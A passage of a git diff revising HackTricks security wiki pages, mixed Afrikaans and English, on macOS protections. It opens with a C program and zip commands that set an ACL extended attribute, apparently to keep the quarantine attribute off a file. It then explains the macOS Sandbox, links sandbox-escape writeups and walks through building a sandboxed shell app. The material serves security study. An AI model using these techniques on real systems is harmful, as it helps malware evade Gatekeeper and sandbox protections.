= buf; name < buf + buflen; name += strlen(name) + 1) { +printf("%s: ", name); +ssize_t valuelen = getxattr(filepath, name, NULL, 0, 0, XATTR_NOFOLLOW); +if (valuelen < 0) { +perror("getxattr"); +continue; +} -char \*value = malloc(valuelen + 1); if (value == NULL) { perror("malloc"); continue; } +char *value = malloc(valuelen + 1); +if (value == NULL) { +perror("malloc"); +continue; +} -valuelen = getxattr(filepath, name, value, valuelen, 0, XATTR\_NOFOLLOW); if (valuelen < 0) { perror("getxattr"); free(value); continue; } +valuelen = getxattr(filepath, name, value, valuelen, 0, XATTR_NOFOLLOW); +if (valuelen < 0) { +perror("getxattr"); +free(value); +continue; +} -value\[valuelen] = '\0'; // Null-terminate the value printf("%s\n", value); free(value); } +value[valuelen] = '\0'; // Null-terminate the value +printf("%s\n", value); +free(value); +} -free(buf); } +free(buf); +} -int main(int argc, char \*argv\[]) { if (argc != 2) { fprintf(stderr, "Usage: %s \n", argv\[0]); return 1; } -const char \*hex = "\x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a"; const char \*filepath = argv\[1]; +int main(int argc, char *argv[]) { +if (argc != 2) { +fprintf(stderr, "Usage: %s \n", argv[0]); +return 1; +} -int result = setxattr(filepath, "com.apple.xxx.xxxx", hex, strlen(hex), 0, 0); if (result == 0) { printf("Extended attribute set successfully.\n\n"); } else { perror("setxattr"); return 1; } +const char *hex = "\x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a"; +const char *filepath = argv[1]; -print\_xattrs(filepath); +int result = setxattr(filepath, "com.apple.xxx.xxxx", hex, strlen(hex), 0, 0); +if (result == 0) { +printf("Extended attribute set successfully.\n\n"); +} else { +perror("setxattr"); +return 1; +} -return 0; } +print_xattrs(filepath); -```` +return 0; +} +```
-
- +{% code overflow="wrap" %} ```bash # Create appledoublefile with the xattr entitlement ditto -c -k start protected.zip @@ -115,10 +201,24 @@ rm -rf protected.zip zip -r protected.zip protected ._protected rm -rf protected rm ._* -```` +``` +{% endcode %} +```bash +# Check if it worked +ditto -x -k --rsrc protected.zip . +xattr -l protected +``` +{% hint style="success" %} +Leer & oefen AWS Hacking:[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Leer & oefen GCP Hacking: [**HackTricks Opleiding GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) -\`\`\`bash # Check if it worked ditto -x -k --rsrc protected.zip . xattr -l protected \`\`\` +
+Ondersteun HackTricks +* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)! +* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md index 250e82aa7..d3c0b117b 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md @@ -1,35 +1,36 @@ -# macOS Sandboks +# macOS Sandbox + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Ander maniere om HackTricks te ondersteun: - -* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -## Basiese Inligting +## Basic Information -MacOS Sandboks (aanvanklik genoem Seatbelt) **beperk toepassings** wat binne die sandboks loop tot die **toegelate aksies wat in die Sandboks-profiel gespesifiseer is** waarmee die app loop. Dit help om te verseker dat **die toepassing slegs verwagte hulpbronne sal benader**. +MacOS Sandbox (aanvanklik Seatbelt genoem) **beperk toepassings** wat binne die sandbox loop tot die **toegelate aksies gespesifiseer in die Sandbox-profiel** waarmee die toepassing loop. Dit help om te verseker dat **die toepassing slegs verwagte hulpbronne sal benader**. -Enige app met die **bevoegdheid** **`com.apple.security.app-sandbox`** sal binne die sandboks uitgevoer word. **Apple-binêre lêers** word gewoonlik binne 'n Sandboks uitgevoer en om binne die **App Store** te publiseer, is **hierdie bevoegdheid verpligtend**. So die meeste toepassings sal binne die sandboks uitgevoer word. +Enige toepassing met die **regte** **`com.apple.security.app-sandbox`** sal binne die sandbox uitgevoer word. **Apple-binaries** word gewoonlik binne 'n Sandbox uitgevoer en om in die **App Store** te publiseer, is **hierdie regte verpligtend**. So die meeste toepassings sal binne die sandbox uitgevoer word. -Om te beheer wat 'n proses kan doen of nie kan doen nie, het die **Sandboks hake** in alle **syscalls** regoor die kernel. **Afhanklik** van die **bevoegdhede** van die app sal die Sandboks sekere aksies **toelaat**. +Om te beheer wat 'n proses kan of nie kan doen nie, het die **Sandbox haakplekke** in alle **syscalls** regdeur die kern. **Afhangende** van die **regte** van die toepassing, sal die Sandbox sekere aksies **toelaat**. -Sommige belangrike komponente van die Sandboks is: +Sommige belangrike komponente van die Sandbox is: -* Die **kernel-uitbreiding** `/System/Library/Extensions/Sandbox.kext` -* Die **privaat-raamwerk** `/System/Library/PrivateFrameworks/AppSandbox.framework` -* 'n **Daemon** wat in userland loop `/usr/libexec/sandboxd` +* Die **kernuitbreiding** `/System/Library/Extensions/Sandbox.kext` +* Die **privaat raamwerk** `/System/Library/PrivateFrameworks/AppSandbox.framework` +* 'n **daemon** wat in userland loop `/usr/libexec/sandboxd` * Die **houers** `~/Library/Containers` -Binne die houers-vouer kan jy **'n vouer vir elke app wat binne die sandboks uitgevoer word** vind met die naam van die bundel-ID: +Binne die houers-gids kan jy **'n gids vir elke toepassing wat sandboxed uitgevoer word** vind met die naam van die bundel-id: ```bash ls -l ~/Library/Containers total 0 @@ -40,7 +41,7 @@ drwx------@ 4 username staff 128 Mar 25 14:14 com.apple.Accessibility-Settings drwx------@ 4 username staff 128 Mar 25 14:10 com.apple.ActionKit.BundledIntentHandler [...] ``` -Binne elke bundel-ID-vouer kan jy die **plist** en die **Data-gids** van die App vind: +Binne elke bundel-id-gids kan jy die **plist** en die **Data-gids** van die App vind: ```bash cd /Users/username/Library/Containers/com.apple.Safari ls -la @@ -64,7 +65,7 @@ drwx------ 2 username staff 64 Mar 24 18:02 SystemData drwx------ 2 username staff 64 Mar 24 18:02 tmp ``` {% hint style="danger" %} -Let daarop dat selfs al is die simboliese skakels daar om uit die Sandboks te "ontsnap" en toegang tot ander lêers te verkry, moet die App steeds **toestemmings** hê om daartoe toegang te verkry. Hierdie toestemmings is binne die **`.plist`**. +Let daarop dat selfs al is die symlinks daar om te "ontsnap" uit die Sandbox en ander mappen te benader, moet die App steeds **toestemming hê** om toegang daartoe te verkry. Hierdie toestemmings is binne die **`.plist`**. {% endhint %} ```bash # Get permissions @@ -114,12 +115,12 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf... [...] ``` {% hint style="warning" %} -Alles wat deur 'n Sandboxed-toepassing geskep/gewysig word, sal die **karantynatribuut** kry. Dit sal 'n sandboksruimte voorkom deur Gatekeeper te aktiveer as die sandboks-toepassing iets probeer uitvoer met **`open`**. +Alles wat deur 'n Sandboxed toepassing geskep/gewysig word, sal die **kwarantyn-attribuut** ontvang. Dit sal 'n sandbox ruimte voorkom deur Gatekeeper te aktiveer as die sandbox toepassing probeer om iets met **`open`** uit te voer. {% endhint %} -### Sandboksprofiel +### Sandbox Profiele -Die Sandboksprofiel is konfigurasie lêers wat aandui wat in daardie **Sandboks** toegelaat/verbode is. Dit gebruik die **Sandbox Profile-taal (SBPL)**, wat die [**Scheme**](https://en.wikipedia.org/wiki/Scheme\_\(programming\_language\)) programmeer taal gebruik. +Die Sandbox profiele is konfigurasie lêers wat aandui wat in daardie **Sandbox** **toegelaat/verbode** gaan word. Dit gebruik die **Sandbox Profiel Taal (SBPL)**, wat die [**Scheme**](https://en.wikipedia.org/wiki/Scheme\_\(programming\_language\)) programmeertaal gebruik. Hier kan jy 'n voorbeeld vind: ```scheme @@ -140,47 +141,26 @@ Hier kan jy 'n voorbeeld vind: ) ``` {% hint style="success" %} -Kyk na hierdie [**navorsing**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) **om meer aksies te sien wat toegelaat of geweier kan word.** +Kontroleer hierdie [**navorsing**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) **om meer aksies te kontroleer wat toegelaat of geweier kan word.** {% endhint %} -Belangrike **sisteemdiens**e loop ook binne hul eie aangepaste **sandbox**, soos die `mdnsresponder`-diens. Jy kan hierdie aangepaste **sandbox-profiel**e sien binne: +Belangrike **stelseldienste** loop ook binne hul eie pasgemaakte **sandbox** soos die `mdnsresponder` diens. Jy kan hierdie pasgemaakte **sandbox-profiele** binne kyk: * **`/usr/share/sandbox`** * **`/System/Library/Sandbox/Profiles`** -* Ander sandbox-profiel kan nagegaan word by [https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles). +* Ander sandbox-profiele kan nagegaan word in [https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles). -**App Store**-toepassings gebruik die **profiel** **`/System/Library/Sandbox/Profiles/application.sb`**. Jy kan in hierdie profiel nagaan hoe toekennings soos **`com.apple.security.network.server`** 'n proses toelaat om die netwerk te gebruik. +**App Store** toepassings gebruik die **profiel** **`/System/Library/Sandbox/Profiles/application.sb`**. Jy kan in hierdie profiel kyk hoe regte soos **`com.apple.security.network.server`** 'n proses toelaat om die netwerk te gebruik. SIP is 'n Sandbox-profiel genaamd platform\_profile in /System/Library/Sandbox/rootless.conf -### Voorbeelde van Sandbox-profiel +### Sandbox Profiel Voorbeelde -Om 'n toepassing met 'n **spesifieke sandbox-profiel** te begin, kan jy gebruik maak van: +Om 'n toepassing met 'n **spesifieke sandbox-profiel** te begin, kan jy gebruik: ```bash sandbox-exec -f example.sb /Path/To/The/Application ``` -{% code title="touch.sb" %} - -``` -(version 1) -(deny default) - -(allow file-read-metadata) -(allow file-write-metadata) - -(allow file-read-data (literal "/path/to/file")) -(allow file-write-data (literal "/path/to/file")) - -(allow file-read-data (subpath "/path/to/directory/")) -(allow file-write-data (subpath "/path/to/directory/")) - -(allow file-read-data (regex #"^/path/to/file\d{3}$")) -(allow file-write-data (regex #"^/path/to/file\d{3}$")) -``` - -{% endcode %} -{% endtab %} - +{% tabs %} {% tab title="touch" %} {% code title="touch.sb" %} ```scheme @@ -215,6 +195,8 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last ; 2023-05-26 13:44:59.840050+0200 localhost kernel[0]: (Sandbox) Sandbox: touch(41575) deny(1) sysctl-read kern.bootargs ; 2023-05-26 13:44:59.840061+0200 localhost kernel[0]: (Sandbox) Sandbox: touch(41575) deny(1) file-read-data / ``` +{% endcode %} + {% code title="touch3.sb" %} ```scheme (version 1) @@ -229,50 +211,50 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last {% endtabs %} {% hint style="info" %} -Let wel dat die **Apple- geskrewe sagteware** wat op **Windows** loop **nie addisionele sekuriteitsvoorsorgmaatreëls** soos toepassingssandboxing het nie. +Let daarop dat die **Apple-geskrewe** **programmatuur** wat op **Windows** loop **nie addisionele sekuriteitsmaatreëls** het nie, soos toepassingsandboxing. {% endhint %} -Voorbeelde van omseilings: +Bypasses voorbeelde: * [https://lapcatsoftware.com/articles/sandbox-escape.html](https://lapcatsoftware.com/articles/sandbox-escape.html) -* [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c) (hulle kan lêers buite die sandbox skryf met 'n naam wat begin met `~$`). +* [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c) (hulle kan lêers buite die sandbox skryf waarvan die naam met `~$` begin). -### MacOS Sandbakkie Profiele +### MacOS Sandbox Profiele -macOS stoor stelselsandbakkieprofiel in twee plekke: **/usr/share/sandbox/** en **/System/Library/Sandbox/Profiles**. +macOS stoor stelselsandboxprofiele in twee plekke: **/usr/share/sandbox/** en **/System/Library/Sandbox/Profiles**. -En as 'n derdeparty-toepassing die _**com.apple.security.app-sandbox**_ toekenning dra, pas die stelsel die **/System/Library/Sandbox/Profiles/application.sb** profiel toe op daardie proses. +En as 'n derdeparty-toepassing die _**com.apple.security.app-sandbox**_ regte het, pas die stelsel die **/System/Library/Sandbox/Profiles/application.sb** profiel op daardie proses toe. -### **iOS Sandbakkie Profiel** +### **iOS Sandbox Profiel** -Die verstekprofiel word **houer** genoem en ons het nie die SBPL-tekstrepsentasie nie. In die geheue word hierdie sandbakkie voorgestel as 'n Toelaat/Weier binêre boom vir elke toestemming van die sandbakkie. +Die standaardprofiel word **container** genoem en ons het nie die SBPL teksverteenwoordiging nie. In geheue word hierdie sandbox verteenwoordig as 'n Toestaan/Weier binaire boom vir elke toestemming van die sandbox. -### Foutopsporing en Omseiling van Sandbakkie +### Debug & Bypass Sandbox -Op macOS, in teenstelling met iOS waar prosesse van die begin af deur die kernel gesandbakkieer word, **moet prosesse self besluit om in die sandbakkie in te gaan**. Dit beteken op macOS word 'n proses nie deur die sandbakkie beperk nie totdat dit aktief besluit om daarin te gaan. +Op macOS, anders as iOS waar prosesse vanaf die begin deur die kern in 'n sandbox geplaas word, **moet prosesse self in die sandbox optree**. Dit beteken op macOS is 'n proses nie deur die sandbox beperk nie totdat dit aktief besluit om daarin te gaan. -Prosesse word outomaties gesandbakkieer vanuit die gebruikersruimte wanneer hulle begin as hulle die toekenning het: `com.apple.security.app-sandbox`. Vir 'n gedetailleerde verduideliking van hierdie proses, kyk na: +Prosesse word outomaties in 'n sandbox geplaas vanaf gebruikersland wanneer hulle begin as hulle die regte het: `com.apple.security.app-sandbox`. Vir 'n gedetailleerde verduideliking van hierdie proses kyk: {% content-ref url="macos-sandbox-debug-and-bypass/" %} [macos-sandbox-debug-and-bypass](macos-sandbox-debug-and-bypass/) {% endcontent-ref %} -### **Kontroleer PID-voorregte** +### **Kontroleer PID Regte** -[**Volgens hierdie**](https://www.youtube.com/watch?v=mG715HcDgO8\&t=3011s), kan die **`sandbox_check`** (dit is 'n `__mac_syscall`), nagaan **of 'n operasie toegelaat word of nie** deur die sandbakkie in 'n sekere PID. +[**Volgens hierdie**](https://www.youtube.com/watch?v=mG715HcDgO8\&t=3011s), kan die **`sandbox_check`** (dit is 'n `__mac_syscall`), **kontroleer of 'n operasie toegelaat word of nie** deur die sandbox in 'n sekere PID. -Die [**sbtool-hulpmiddel**](http://newosxbook.com/src.jl?tree=listings\&file=sbtool.c) kan nagaan of 'n PID 'n sekere aksie kan uitvoer: +Die [**instrument sbtool**](http://newosxbook.com/src.jl?tree=listings\&file=sbtool.c) kan kontroleer of 'n PID 'n sekere aksie kan uitvoer: ```bash sbtool mach #Check mac-ports (got from launchd with an api) sbtool file /tmp #Check file access sbtool inspect #Gives you an explaination of the sandbox profile sbtool all ``` -### Aangepaste SBPL in App Store-toepassings +### Custom SBPL in App Store apps -Dit is moontlik vir maatskappye om hul toepassings te laat loop **met aangepaste Sandboksprofiel** (in plaas van die verstek een). Hulle moet die toekenning **`com.apple.security.temporary-exception.sbpl`** gebruik wat deur Apple gemagtig moet word. +Dit kan moontlik wees vir maatskappye om hul toepassings te laat werk **met pasgemaakte Sandbox-profiele** (in plaas van met die standaard een). Hulle moet die regte **`com.apple.security.temporary-exception.sbpl`** gebruik wat deur Apple goedgekeur moet word. -Dit is moontlik om die definisie van hierdie toekenning te kontroleer in **`/System/Library/Sandbox/Profiles/application.sb:`** +Dit is moontlik om die definisie van hierdie regte in **`/System/Library/Sandbox/Profiles/application.sb:`** te kontroleer. ```scheme (sandbox-array-entitlement "com.apple.security.temporary-exception.sbpl" @@ -280,18 +262,19 @@ Dit is moontlik om die definisie van hierdie toekenning te kontroleer in **`/Sys (let* ((port (open-input-string string)) (sbpl (read port))) (with-transparent-redirection (eval sbpl))))) ``` -Dit sal die string na hierdie entitlement evalueer as 'n Sandboksprofiel. +Dit sal **die string na hierdie regte** as 'n Sandbox-profiel evaluer. + +{% hint style="success" %} +Leer & oefen AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Leer & oefen GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)! +Ondersteun HackTricks -Ander maniere om HackTricks te ondersteun: - -* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke. +* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)! +* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Deel hacking truuks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-default-sandbox-debug.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-default-sandbox-debug.md index dd08d4fbb..0703b6c4e 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-default-sandbox-debug.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-default-sandbox-debug.md @@ -1,22 +1,23 @@ -# macOS Standaard Sandboks-Debuut +# macOS Default Sandbox Debug + +{% hint style="success" %} +Leer & oefen AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Leer & oefen GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)! +Ondersteun HackTricks -Ander maniere om HackTricks te ondersteun: - -* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Deel jou hack-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke. +* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)! +* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -Op hierdie bladsy kan jy vind hoe om 'n toepassing te skep om willekeurige opdragte van binne die standaard macOS-sandboks te lanceer: +In hierdie bladsy kan jy vind hoe om 'n app te skep om arbitrêre opdragte van binne die standaard macOS sandbox te begin: -1. Kompileer die toepassing: +1. Compileer die aansoek: {% code title="main.m" %} ```objectivec @@ -50,7 +51,7 @@ return 0; ``` {% endcode %} -Kompileer dit deur die volgende te hardloop: `clang -framework Foundation -o SandboxedShellApp main.m` +Compile dit deur te loop: `clang -framework Foundation -o SandboxedShellApp main.m` 2. Bou die `.app` bundel ```bash @@ -74,7 +75,7 @@ cat << EOF > SandboxedShellApp.app/Contents/Info.plist EOF ``` -3. Definieer die toestemmings +3. Definieer die regte {% tabs %} {% tab title="sandbox" %} @@ -92,7 +93,7 @@ EOF ``` {% endtab %} -{% tab title="sandbox + afl" %} +{% tab title="sandbox + aflaai" %} ```bash cat << EOF > entitlements.plist @@ -110,7 +111,7 @@ EOF {% endtab %} {% endtabs %} -4. Onderteken die toepassing (jy moet 'n sertifikaat in die sleutelbos skep) +4. Teken die app (jy moet 'n sertifikaat in die sleutelkettie skep) ```bash codesign --entitlements entitlements.plist -s "YourIdentity" SandboxedShellApp.app ./SandboxedShellApp.app/Contents/MacOS/SandboxedShellApp @@ -118,16 +119,17 @@ codesign --entitlements entitlements.plist -s "YourIdentity" SandboxedShellApp.a # An d in case you need this in the future codesign --remove-signature SandboxedShellApp.app ``` +{% hint style="success" %} +Leer & oefen AWS Hacking:[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Leer & oefen GCP Hacking: [**HackTricks Opleiding GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)! +Ondersteun HackTricks -Ander maniere om HackTricks te ondersteun: - -* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke. +* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)! +* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.md index 0dbfb5358..a4d66167d 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.md @@ -1,73 +1,78 @@ -# macOS Office Sandboksontduiking +# macOS Office Sandbox Bypasses + +{% hint style="success" %} +Leer & oefen AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Leer & oefen GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Ander maniere om HackTricks te ondersteun: - -* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Kry die [**amptelike PEASS & HackTricks-klere**](https://peass.creator-spring.com) -* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke. +* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)! +* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
